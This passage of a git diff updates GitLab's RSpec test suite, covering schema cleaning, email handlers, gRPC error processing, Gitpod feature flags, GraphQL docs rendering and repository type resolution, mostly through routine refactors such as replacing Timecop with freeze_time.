columns.reject { |c| names.include?(c.name) }
end
diff --git a/spec/lib/gitlab/database/schema_cleaner_spec.rb b/spec/lib/gitlab/database/schema_cleaner_spec.rb
index 1303ad7a311..950759c7f96 100644
--- a/spec/lib/gitlab/database/schema_cleaner_spec.rb
+++ b/spec/lib/gitlab/database/schema_cleaner_spec.rb
@@ -15,8 +15,8 @@ RSpec.describe Gitlab::Database::SchemaCleaner do
expect(subject).not_to include('COMMENT ON EXTENSION')
end
- it 'sets the search_path' do
- expect(subject.split("\n").first).to eq('SET search_path=public;')
+ it 'no assumption about public being the default schema' do
+ expect(subject).not_to match(/public\.\w+/)
end
it 'cleans up the full schema as expected (blackbox test with example)' do
diff --git a/spec/lib/gitlab/database_importers/common_metrics/prometheus_metric_spec.rb b/spec/lib/gitlab/database_importers/common_metrics/prometheus_metric_spec.rb
index 67da59d6477..98a8e144d16 100644
--- a/spec/lib/gitlab/database_importers/common_metrics/prometheus_metric_spec.rb
+++ b/spec/lib/gitlab/database_importers/common_metrics/prometheus_metric_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::DatabaseImporters::CommonMetrics::PrometheusMetric do
end
it '.group_titles equals ::PrometheusMetric' do
- existing_group_titles = ::PrometheusMetricEnums.group_details.transform_values do |value|
+ existing_group_titles = Enums::PrometheusMetric.group_details.transform_values do |value|
value[:group_title]
end
expect(Gitlab::DatabaseImporters::CommonMetrics::PrometheusMetricEnums.group_titles).to eq(existing_group_titles)
diff --git a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
index a3661bbe49a..39029322e25 100644
--- a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
+++ b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
@@ -65,8 +65,8 @@ RSpec.describe Gitlab::DatabaseImporters::InstanceAdministrators::CreateGroup do
it 'creates group' do
expect(result[:status]).to eq(:success)
expect(group).to be_persisted
- expect(group.name).to eq('GitLab Instance Administrators')
- expect(group.path).to start_with('gitlab-instance-administrators')
+ expect(group.name).to eq('GitLab Instance')
+ expect(group.path).to start_with('gitlab-instance')
expect(group.path.split('-').last.length).to eq(8)
expect(group.visibility_level).to eq(described_class::VISIBILITY_LEVEL)
end
diff --git a/spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb b/spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb
index 9f10811d765..30981e4bd7d 100644
--- a/spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb
+++ b/spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb
@@ -33,9 +33,9 @@ RSpec.describe Gitlab::DiscussionsDiff::HighlightCache, :clean_gitlab_redis_cach
mapping.each do |key, value|
full_key = described_class.cache_key_for(key)
- found = Gitlab::Redis::Cache.with { |r| r.get(full_key) }
+ found_key = Gitlab::Redis::Cache.with { |r| r.get(full_key) }
- expect(found).to eq(value.to_json)
+ expect(described_class.gzip_decompress(found_key)).to eq(value.to_json)
end
end
end
diff --git a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
index ee2173a9c8d..1a7d837af73 100644
--- a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
@@ -4,17 +4,6 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Handler::CreateIssueHandler do
include_context :email_shared_context
- it_behaves_like :reply_processing_shared_examples
-
- before do
- stub_incoming_email_setting(enabled: true, address: "incoming+%{key}@appmail.adventuretime.ooo")
- stub_config_setting(host: 'localhost')
- end
-
- let(:email_raw) { email_fixture('emails/valid_new_issue.eml') }
- let(:namespace) { create(:namespace, path: 'gitlabhq') }
-
- let!(:project) { create(:project, :public, namespace: namespace, path: 'gitlabhq') }
let!(:user) do
create(
:user,
@@ -23,6 +12,17 @@ RSpec.describe Gitlab::Email::Handler::CreateIssueHandler do
)
end
+ let!(:project) { create(:project, :public, namespace: namespace, path: 'gitlabhq') }
+ let(:namespace) { create(:namespace, path: 'gitlabhq') }
+ let(:email_raw) { email_fixture('emails/valid_new_issue.eml') }
+
+ it_behaves_like :reply_processing_shared_examples
+
+ before do
+ stub_incoming_email_setting(enabled: true, address: "incoming+%{key}@appmail.adventuretime.ooo")
+ stub_config_setting(host: 'localhost')
+ end
+
context "when email key" do
let(:mail) { Mail::Message.new(email_raw) }
diff --git a/spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb b/spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb
index 75d5fc040cb..37ee4591db0 100644
--- a/spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb
@@ -4,6 +4,18 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Handler::CreateMergeRequestHandler do
include_context :email_shared_context
+ let!(:user) do
+ create(
+ :user,
+ email: 'jake@adventuretime.ooo',
+ incoming_email_token: 'auth_token'
+ )
+ end
+
+ let!(:project) { create(:project, :public, :repository, namespace: namespace, path: 'gitlabhq') }
+ let(:namespace) { create(:namespace, path: 'gitlabhq') }
+ let(:email_raw) { email_fixture('emails/valid_new_merge_request.eml') }
+
it_behaves_like :reply_processing_shared_examples
before do
@@ -15,18 +27,6 @@ RSpec.describe Gitlab::Email::Handler::CreateMergeRequestHandler do
TestEnv.clean_test_path
end
- let(:email_raw) { email_fixture('emails/valid_new_merge_request.eml') }
- let(:namespace) { create(:namespace, path: 'gitlabhq') }
-
- let!(:project) { create(:project, :public, :repository, namespace: namespace, path: 'gitlabhq') }
- let!(:user) do
- create(
- :user,
- email: 'jake@adventuretime.ooo',
- incoming_email_token: 'auth_token'
- )
- end
-
context "when email key" do
let(:mail) { Mail::Message.new(email_raw) }
diff --git a/spec/lib/gitlab/email/handler/create_note_handler_spec.rb b/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
index e5598bbd10f..07b8070be30 100644
--- a/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_note_handler_spec.rb
@@ -4,6 +4,16 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Handler::CreateNoteHandler do
include_context :email_shared_context
+ let!(:sent_notification) do
+ SentNotification.record_note(note, user.id, mail_key)
+ end
+
+ let(:noteable) { note.noteable }
+ let(:note) { create(:diff_note_on_merge_request, project: project) }
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :public, :repository) }
+ let(:email_raw) { fixture_file('emails/valid_reply.eml') }
+
it_behaves_like :reply_processing_shared_examples
before do
@@ -11,16 +21,6 @@ RSpec.describe Gitlab::Email::Handler::CreateNoteHandler do
stub_config_setting(host: 'localhost')
end
- let(:email_raw) { fixture_file('emails/valid_reply.eml') }
- let(:project) { create(:project, :public, :repository) }
- let(:user) { create(:user) }
- let(:note) { create(:diff_note_on_merge_request, project: project) }
- let(:noteable) { note.noteable }
-
- let!(:sent_notification) do
- SentNotification.record_note(note, user.id, mail_key)
- end
-
context "when the recipient address doesn't include a mail key" do
let(:email_raw) { fixture_file('emails/valid_reply.eml').gsub(mail_key, "") }
diff --git a/spec/lib/gitlab/email/receiver_spec.rb b/spec/lib/gitlab/email/receiver_spec.rb
index 592d3f3f0e4..ccff902d290 100644
--- a/spec/lib/gitlab/email/receiver_spec.rb
+++ b/spec/lib/gitlab/email/receiver_spec.rb
@@ -36,6 +36,12 @@ RSpec.describe Gitlab::Email::Receiver do
it_behaves_like 'correctly finds the mail key'
end
+ context 'when in an X-Envelope-To header' do
+ let(:email_raw) { fixture_file('emails/x_envelope_to_header.eml') }
+
+ it_behaves_like 'correctly finds the mail key'
+ end
+
context 'when enclosed with angle brackets in an Envelope-To header' do
let(:email_raw) { fixture_file('emails/envelope_to_header_with_angle_brackets.eml') }
diff --git a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
new file mode 100644
index 00000000000..797707114a1
--- /dev/null
+++ b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
+ describe '#process' do
+ subject { described_class.new }
+
+ context 'when there is no GRPC exception' do
+ let(:data) { { fingerprint: ['ArgumentError', 'Missing arguments'] } }
+
+ it 'leaves data unchanged' do
+ expect(subject.process(data)).to eq(data)
+ end
+ end
+
+ context 'when there is a GPRC exception with a debug string' do
+ let(:data) do
+ {
+ exception: {
+ values: [
+ {
+ type: "GRPC::DeadlineExceeded",
+ value: "4:DeadlineExceeded. debug_error_string:{\"hello\":1}"
+ }
+ ]
+ },
+ extra: {
+ caller: 'test'
+ },
+ fingerprint: [
+ "GRPC::DeadlineExceeded",
+ "4:Deadline Exceeded. debug_error_string:{\"created\":\"@1598938192.005782000\",\"description\":\"Error received from peer unix:/home/git/gitalypraefect.socket\",\"file\":\"src/core/lib/surface/call.cc\",\"file_line\":1055,\"grpc_message\":\"Deadline Exceeded\",\"grpc_status\":4}"
+ ]
+ }
+ end
+
+ let(:expected) do
+ {
+ fingerprint: [
+ "GRPC::DeadlineExceeded",
+ "4:Deadline Exceeded."
+ ],
+ exception: {
+ values: [
+ {
+ type: "GRPC::DeadlineExceeded",
+ value: "4:DeadlineExceeded."
+ }
+ ]
+ },
+ extra: {
+ caller: 'test',
+ grpc_debug_error_string: "{\"hello\":1}"
+ }
+ }
+ end
+
+ it 'removes the debug error string and stores it as an extra field' do
+ expect(subject.process(data)).to eq(expected)
+ end
+
+ context 'with no custom fingerprint' do
+ before do
+ data.delete(:fingerprint)
+ expected.delete(:fingerprint)
+ end
+
+ it 'removes the debug error string and stores it as an extra field' do
+ expect(subject.process(data)).to eq(expected)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/experimentation_spec.rb b/spec/lib/gitlab/experimentation_spec.rb
index 2de5e1e20d6..9bc865f4d29 100644
--- a/spec/lib/gitlab/experimentation_spec.rb
+++ b/spec/lib/gitlab/experimentation_spec.rb
@@ -295,6 +295,19 @@ RSpec.describe Gitlab::Experimentation do
end
end
end
+
+ describe '#experiment_tracking_category_and_group' do
+ let_it_be(:experiment_key) { :test_something }
+
+ subject { controller.experiment_tracking_category_and_group(experiment_key) }
+
+ it 'returns a string with the experiment tracking category & group joined with a ":"' do
+ expect(controller).to receive(:tracking_category).with(experiment_key).and_return('Experiment::Category')
+ expect(controller).to receive(:tracking_group).with(experiment_key, '_group').and_return('experimental_group')
+
+ expect(subject).to eq('Experiment::Category:experimental_group')
+ end
+ end
end
describe '.enabled?' do
diff --git a/spec/lib/gitlab/external_authorization/access_spec.rb b/spec/lib/gitlab/external_authorization/access_spec.rb
index 4bb81230ac0..a6773cc19e1 100644
--- a/spec/lib/gitlab/external_authorization/access_spec.rb
+++ b/spec/lib/gitlab/external_authorization/access_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Access, :clean_gitlab_redis_cache
describe '#loaded?' do
it 'is `true` when it was loaded recently' do
- Timecop.freeze do
+ freeze_time do
allow(access).to receive(:loaded_at).and_return(5.minutes.ago)
expect(access).to be_loaded
@@ -19,7 +19,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Access, :clean_gitlab_redis_cache
end
it 'is `false` when there the result was loaded a long time ago' do
- Timecop.freeze do
+ freeze_time do
allow(access).to receive(:loaded_at).and_return(2.weeks.ago)
expect(access).not_to be_loaded
@@ -70,7 +70,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Access, :clean_gitlab_redis_cache
end
it 'stores the result in redis' do
- Timecop.freeze do
+ freeze_time do
fake_cache = double
expect(fake_cache).to receive(:store).with(true, nil, Time.now)
expect(access).to receive(:cache).and_return(fake_cache)
@@ -118,7 +118,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Access, :clean_gitlab_redis_cache
end
it 'does not load from the webservice' do
- Timecop.freeze do
+ freeze_time do
expect(fake_cache).to receive(:load).and_return([true, nil, Time.now])
expect(access).to receive(:load_from_cache).and_call_original
@@ -129,7 +129,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Access, :clean_gitlab_redis_cache
end
it 'loads from the webservice when the cached result was too old' do
- Timecop.freeze do
+ freeze_time do
expect(fake_cache).to receive(:load).and_return([true, nil, 2.days.ago])
expect(access).to receive(:load_from_cache).and_call_original
diff --git a/spec/lib/gitlab/external_authorization/cache_spec.rb b/spec/lib/gitlab/external_authorization/cache_spec.rb
index 9037c04cf2b..a8e7932b82c 100644
--- a/spec/lib/gitlab/external_authorization/cache_spec.rb
+++ b/spec/lib/gitlab/external_authorization/cache_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Cache, :clean_gitlab_redis_cache d
describe '#load' do
it 'reads stored info from redis' do
- Timecop.freeze do
+ freeze_time do
set_in_redis(:access, false)
set_in_redis(:reason, 'Access denied for now')
set_in_redis(:refreshed_at, Time.now)
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::ExternalAuthorization::Cache, :clean_gitlab_redis_cache d
describe '#store' do
it 'sets the values in redis' do
- Timecop.freeze do
+ freeze_time do
cache.store(true, 'the reason', Time.now)
expect(read_from_redis(:access)).to eq('true')
diff --git a/spec/lib/gitlab/file_type_detection_spec.rb b/spec/lib/gitlab/file_type_detection_spec.rb
index ba5e7cfabf2..c435d3f6097 100644
--- a/spec/lib/gitlab/file_type_detection_spec.rb
+++ b/spec/lib/gitlab/file_type_detection_spec.rb
@@ -192,6 +192,20 @@ RSpec.describe Gitlab::FileTypeDetection do
end
end
+ describe '#image_safe_for_scaling?' do
+ it 'returns true for allowed image formats' do
+ uploader.store!(upload_fixture('rails_sample.jpg'))
+
+ expect(uploader).to be_image_safe_for_scaling
+ end
+
+ it 'returns false for other files' do
+ uploader.store!(upload_fixture('unsanitized.svg'))
+
+ expect(uploader).not_to be_image_safe_for_scaling
+ end
+ end
+
describe '#dangerous_image?' do
it 'returns true if filename has a dangerous extension' do
uploader.store!(upload_fixture('unsanitized.svg'))
@@ -377,6 +391,31 @@ RSpec.describe Gitlab::FileTypeDetection do
end
end
+ describe '#image_safe_for_scaling?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:filename, :expectation) do
+ 'img.jpg' | true
+ 'img.jpeg' | true
+ 'img.png' | true
+ 'img.svg' | false
+ end
+
+ with_them do
+ it "returns expected result" do
+ allow(custom_class).to receive(:filename).and_return(filename)
+
+ expect(custom_class.image_safe_for_scaling?).to be(expectation)
+ end
+ end
+
+ it 'returns false if filename is blank' do
+ allow(custom_class).to receive(:filename).and_return(nil)
+
+ expect(custom_class).not_to be_image_safe_for_scaling
+ end
+ end
+
describe '#video?' do
it 'returns true for a video file' do
allow(custom_class).to receive(:filename).and_return('video_sample.mp4')
diff --git a/spec/lib/gitlab/git/base_error_spec.rb b/spec/lib/gitlab/git/base_error_spec.rb
new file mode 100644
index 00000000000..851cfa16512
--- /dev/null
+++ b/spec/lib/gitlab/git/base_error_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rspec-parameterized'
+
+RSpec.describe Gitlab::Git::BaseError do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { described_class.new(message).to_s }
+
+ where(:message, :result) do
+ "GRPC::DeadlineExceeded: 4:DeadlineExceeded. debug_error_string:{\"hello\":1}" | "GRPC::DeadlineExceeded: 4:DeadlineExceeded."
+ "GRPC::DeadlineExceeded: 4:DeadlineExceeded." | "GRPC::DeadlineExceeded: 4:DeadlineExceeded."
+ "GRPC::DeadlineExceeded: 4:DeadlineExceeded. debug_error_string:{\"created\":\"@1598978902.544524530\",\"description\":\"Error received from peer ipv4: debug_error_string:test\"}" | "GRPC::DeadlineExceeded: 4:DeadlineExceeded."
+ "9:Multiple lines\nTest line. debug_error_string:{\"created\":\"@1599074877.106467000\"}" | "9:Multiple lines\nTest line."
+ "other message" | "other message"
+ nil | "Gitlab::Git::BaseError"
+ end
+
+ with_them do
+ it { is_expected.to eq(result) }
+ end
+end
diff --git a/spec/lib/gitlab/git/commit_spec.rb b/spec/lib/gitlab/git/commit_spec.rb
index 491437856d4..8961cdcae7d 100644
--- a/spec/lib/gitlab/git/commit_spec.rb
+++ b/spec/lib/gitlab/git/commit_spec.rb
@@ -192,7 +192,7 @@ RSpec.describe Gitlab::Git::Commit, :seed_helper do
end
describe '.find with Gitaly enabled' do
- it_should_behave_like '.find'
+ it_behaves_like '.find'
end
describe '.find with Rugged enabled', :enable_rugged do
@@ -204,7 +204,7 @@ RSpec.describe Gitlab::Git::Commit, :seed_helper do
described_class.find(repository, SeedRepo::Commit::ID)
end
- it_should_behave_like '.find'
+ it_behaves_like '.find'
end
describe '.last_for_path' do
@@ -474,7 +474,7 @@ RSpec.describe Gitlab::Git::Commit, :seed_helper do
end
describe '.batch_by_oid with Gitaly enabled' do
- it_should_behave_like '.batch_by_oid'
+ it_behaves_like '.batch_by_oid'
context 'when oids is empty' do
it 'makes no Gitaly request' do
@@ -486,7 +486,7 @@ RSpec.describe Gitlab::Git::Commit, :seed_helper do
end
describe '.batch_by_oid with Rugged enabled', :enable_rugged do
- it_should_behave_like '.batch_by_oid'
+ it_behaves_like '.batch_by_oid'
it 'calls out to the Rugged implementation' do
allow_next_instance_of(Rugged) do |instance|
diff --git a/spec/lib/gitlab/github_import/importer/label_links_importer_spec.rb b/spec/lib/gitlab/github_import/importer/label_links_importer_spec.rb
index 4d3245fc988..6d143f78c66 100644
--- a/spec/lib/gitlab/github_import/importer/label_links_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/label_links_importer_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::GithubImport::Importer::LabelLinksImporter do
.to receive(:find_target_id)
.and_return(1)
- Timecop.freeze do
+ freeze_time do
expect(Gitlab::Database)
.to receive(:bulk_insert)
.with(
diff --git a/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb b/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
index 0010b959a49..ca9d3e1e21c 100644
--- a/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
@@ -85,13 +85,13 @@ RSpec.describe Gitlab::GithubImport::Importer::LabelsImporter, :clean_gitlab_red
end
it 'includes the created timestamp' do
- Timecop.freeze do
+ freeze_time do
expect(label_hash[:created_at]).to eq(Time.zone.now)
end
end
it 'includes the updated timestamp' do
- Timecop.freeze do
+ freeze_time do
expect(label_hash[:updated_at]).to eq(Time.zone.now)
end
end
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
index 05ac0248ec9..0835c6155b9 100644
--- a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
@@ -164,7 +164,7 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestsImporter do
.to receive(:increment)
.and_call_original
- Timecop.freeze do
+ freeze_time do
importer.update_repository
expect(project.last_repository_updated_at).to be_like_time(Time.zone.now)
diff --git a/spec/lib/gitlab/github_import/importer/repository_importer_spec.rb b/spec/lib/gitlab/github_import/importer/repository_importer_spec.rb
index 65dba2711b9..180c6d9e420 100644
--- a/spec/lib/gitlab/github_import/importer/repository_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/repository_importer_spec.rb
@@ -261,7 +261,7 @@ RSpec.describe Gitlab::GithubImport::Importer::RepositoryImporter do
describe '#update_clone_time' do
it 'sets the timestamp for when the cloning process finished' do
- Timecop.freeze do
+ freeze_time do
expect(project)
.to receive(:update_column)
.with(:last_repository_updated_at, Time.zone.now)
diff --git a/spec/lib/gitlab/github_import/label_finder_spec.rb b/spec/lib/gitlab/github_import/label_finder_spec.rb
index 452f3c896a4..9905fce2a20 100644
--- a/spec/lib/gitlab/github_import/label_finder_spec.rb
+++ b/spec/lib/gitlab/github_import/label_finder_spec.rb
@@ -3,10 +3,10 @@
require 'spec_helper'
RSpec.describe Gitlab::GithubImport::LabelFinder, :clean_gitlab_redis_cache do
- let(:project) { create(:project) }
- let(:finder) { described_class.new(project) }
- let!(:bug) { create(:label, project: project, name: 'Bug') }
- let!(:feature) { create(:label, project: project, name: 'Feature') }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:finder) { described_class.new(project) }
+ let_it_be(:bug) { create(:label, project: project, name: 'Bug') }
+ let_it_be(:feature) { create(:label, project: project, name: 'Feature') }
describe '#id_for' do
context 'with a cache in place' do
diff --git a/spec/lib/gitlab/github_import/milestone_finder_spec.rb b/spec/lib/gitlab/github_import/milestone_finder_spec.rb
index 419184d6115..5da45b1897f 100644
--- a/spec/lib/gitlab/github_import/milestone_finder_spec.rb
+++ b/spec/lib/gitlab/github_import/milestone_finder_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe Gitlab::GithubImport::MilestoneFinder, :clean_gitlab_redis_cache do
- let!(:project) { create(:project) }
- let!(:milestone) { create(:milestone, project: project) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
let(:finder) { described_class.new(project) }
describe '#id_for' do
diff --git a/spec/lib/gitlab/gitpod_spec.rb b/spec/lib/gitlab/gitpod_spec.rb
new file mode 100644
index 00000000000..f4dda42aeb4
--- /dev/null
+++ b/spec/lib/gitlab/gitpod_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Gitpod do
+ let_it_be(:user) { create(:user) }
+ let(:feature_scope) { true }
+
+ before do
+ stub_feature_flags(gitpod: feature_scope)
+ end
+
+ describe '.feature_conditional?' do
+ subject { described_class.feature_conditional? }
+
+ context 'when feature is enabled globally' do
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when feature is enabled only to a resource' do
+ let(:feature_scope) { user }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+
+ describe '.feature_available?' do
+ subject { described_class.feature_available? }
+
+ context 'when feature is enabled globally' do
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when feature is enabled only to a resource' do
+ let(:feature_scope) { user }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+
+ describe '.feature_enabled?' do
+ let(:current_user) { nil }
+
+ subject { described_class.feature_enabled?(current_user) }
+
+ context 'when feature is enabled globally' do
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when feature is enabled only to a resource' do
+ let(:feature_scope) { user }
+
+ context 'for the same resource' do
+ let(:current_user) { user }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'for a different resource' do
+ let(:current_user) { create(:user) }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/gl_repository/repo_type_spec.rb b/spec/lib/gitlab/gl_repository/repo_type_spec.rb
index e920fc7cd3b..3fa636a1cf0 100644
--- a/spec/lib/gitlab/gl_repository/repo_type_spec.rb
+++ b/spec/lib/gitlab/gl_repository/repo_type_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let(:expected_identifier) { "project-#{expected_id}" }
let(:expected_suffix) { '' }
let(:expected_container) { project }
- let(:expected_repository) { expected_container.repository }
+ let(:expected_repository) { ::Repository.new(project.full_path, project, shard: project.repository_storage, disk_path: project.disk_path, repo_type: Gitlab::GlRepository::PROJECT) }
end
it 'knows its type' do
@@ -46,7 +46,7 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let(:expected_identifier) { "wiki-#{expected_id}" }
let(:expected_suffix) { '.wiki' }
let(:expected_container) { project }
- let(:expected_repository) { expected_container.wiki.repository }
+ let(:expected_repository) { ::Repository.new(project.wiki.full_path, project, shard: project.wiki.repository_storage, disk_path: project.wiki.disk_path, repo_type: Gitlab::GlRepository::WIKI) }
end
it 'knows its type' do
@@ -75,7 +75,7 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let(:expected_id) { personal_snippet.id }
let(:expected_identifier) { "snippet-#{expected_id}" }
let(:expected_suffix) { '' }
- let(:expected_repository) { personal_snippet.repository }
+ let(:expected_repository) { ::Repository.new(personal_snippet.full_path, personal_snippet, shard: personal_snippet.repository_storage, disk_path: personal_snippet.disk_path, repo_type: Gitlab::GlRepository::SNIPPET) }
let(:expected_container) { personal_snippet }
end
@@ -104,7 +104,7 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let(:expected_id) { project_snippet.id }
let(:expected_identifier) { "snippet-#{expected_id}" }
let(:expected_suffix) { '' }
- let(:expected_repository) { project_snippet.repository }
+ let(:expected_repository) { ::Repository.new(project_snippet.full_path, project_snippet, shard: project_snippet.repository_storage, disk_path: project_snippet.disk_path, repo_type: Gitlab::GlRepository::SNIPPET) }
let(:expected_container) { project_snippet }
end
@@ -133,10 +133,14 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let(:expected_identifier) { "design-#{project.id}" }
let(:expected_id) { project.id }
let(:expected_suffix) { '.design' }
- let(:expected_repository) { project.design_repository }
+ let(:expected_repository) { ::DesignManagement::Repository.new(project) }
let(:expected_container) { project }
end
+ it 'uses the design access checker' do
+ expect(described_class.access_checker_class).to eq(::Gitlab::GitAccessDesign)
+ end
+
it 'knows its type' do
aggregate_failures do
expect(described_class).to be_design
diff --git a/spec/lib/gitlab/gl_repository_spec.rb b/spec/lib/gitlab/gl_repository_spec.rb
index f90103ee6f7..3733d545155 100644
--- a/spec/lib/gitlab/gl_repository_spec.rb
+++ b/spec/lib/gitlab/gl_repository_spec.rb
@@ -31,15 +31,4 @@ RSpec.describe ::Gitlab::GlRepository do
expect { described_class.parse("project-foo") }.to raise_error(ArgumentError)
end
end
-
- describe 'DESIGN' do
- it 'uses the design access checker' do
- expect(described_class::DESIGN.access_checker_class).to eq(::Gitlab::GitAccessDesign)
- end
-
- it 'builds a design repository' do
- expect(described_class::DESIGN.repository_resolver.call(create(:project)))
- .to be_a(::DesignManagement::Repository)
- end
- end
end
diff --git a/spec/lib/gitlab/graphql/docs/renderer_spec.rb b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
index 81ef7fcda97..d1be962a4f8 100644
--- a/spec/lib/gitlab/graphql/docs/renderer_spec.rb
+++ b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
@@ -36,10 +36,10 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
specify do
expectation = <<~DOC
- ## ArrayTest
+ ### ArrayTest
- | Name | Type | Description |
- | --- | ---- | ---------- |
+ | Field | Type | Description |
+ | ----- | ---- | ----------- |
| `foo` | String! => Array | A description |
DOC
@@ -59,10 +59,10 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
specify do
expectation = <<~DOC
- ## OrderingTest
+ ### OrderingTest
- | Name | Type | Description |
- | --- | ---- | ---------- |
+ | Field | Type | Description |
+ | ----- | ---- | ----------- |
| `bar` | String! | A description of bar field |
| `foo` | String! | A description of foo field |
DOC
@@ -82,15 +82,45 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
specify do
expectation = <<~DOC
- ## DeprecatedTest
+ ### DeprecatedTest
- | Name | Type | Description |
- | --- | ---- | ---------- |
+ | Field | Type | Description |
+ | ----- | ---- | ----------- |
| `foo` **{warning-solid}** | String! | **Deprecated:** This is deprecated. Deprecated in 1.10 |
DOC
is_expected.to include(expectation)
end
end
+
+ context 'A type with an emum field' do
+ let(:type) do
+ enum_type = Class.new(Types::BaseEnum) do
+ graphql_name 'MyEnum'
+
+ value 'BAZ', description: 'A description of BAZ'
+ value 'BAR', description: 'A description of BAR', deprecated: { reason: 'This is deprecated', milestone: '1.10' }
+ end
+
+ Class.new(Types::BaseObject) do
+ graphql_name 'EnumTest'
+
+ field :foo, enum_type, null: false, description: 'A description of foo field'
+ end
+ end
+
+ specify do
+ expectation = <<~DOC
+ ### MyEnum
+
+ | Value | Description |
+ | ----- | ----------- |
+ | `BAR` **{warning-solid}** | **Deprecated:** This is deprecated. Deprecated in 1.10 |
+ | `BAZ` | A description of BAZ |
+ DOC
+
+ is_expected.to include(expectation)
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/graphql/loaders/issuable_loader_spec.rb b/spec/lib/gitlab/graphql/loaders/issuable_loader_spec.rb
index 180966de895..33a9d40931e 100644
--- a/spec/lib/gitlab/graphql/loaders/issuable_loader_spec.rb
+++ b/spec/lib/gitlab/graphql/loaders/issuable_loader_spec.rb
@@ -6,9 +6,26 @@ RSpec.describe Gitlab::Graphql::Loaders::IssuableLoader do
subject { described_class.new(parent, finder) }
let(:params) { HashWithIndifferentAccess.new }
+ let(:finder_params) { finder.params.to_h.with_indifferent_access }
+
+ # Dumb finder class, that only implements what we need, and has
+ # predictable query counts.
+ let(:finder_class) do
+ Class.new(IssuesFinder) do
+ def execute
+ params[:project_id].issues.where(iid: params[:iids])
+ end
+
+ private
+
+ def params_class
+ IssuesFinder::Params
+ end
+ end
+ end
describe '#find_all' do
- let(:finder) { double(:finder, params: params, execute: %i[x y z]) }
+ let(:finder) { issuable_finder(params: params, result: [:x, :y, :z]) }
where(:factory, :param_name) do
%i[project group].map { |thing| [thing, :"#{thing}_id"] }
@@ -19,7 +36,7 @@ RSpec.describe Gitlab::Graphql::Loaders::IssuableLoader do
it 'assignes the parent parameter, and batching_find_alls the finder' do
expect(subject.find_all).to contain_exactly(:x, :y, :z)
- expect(params).to include(param_name => parent)
+ expect(finder_params).to include(param_name => parent)
end
end
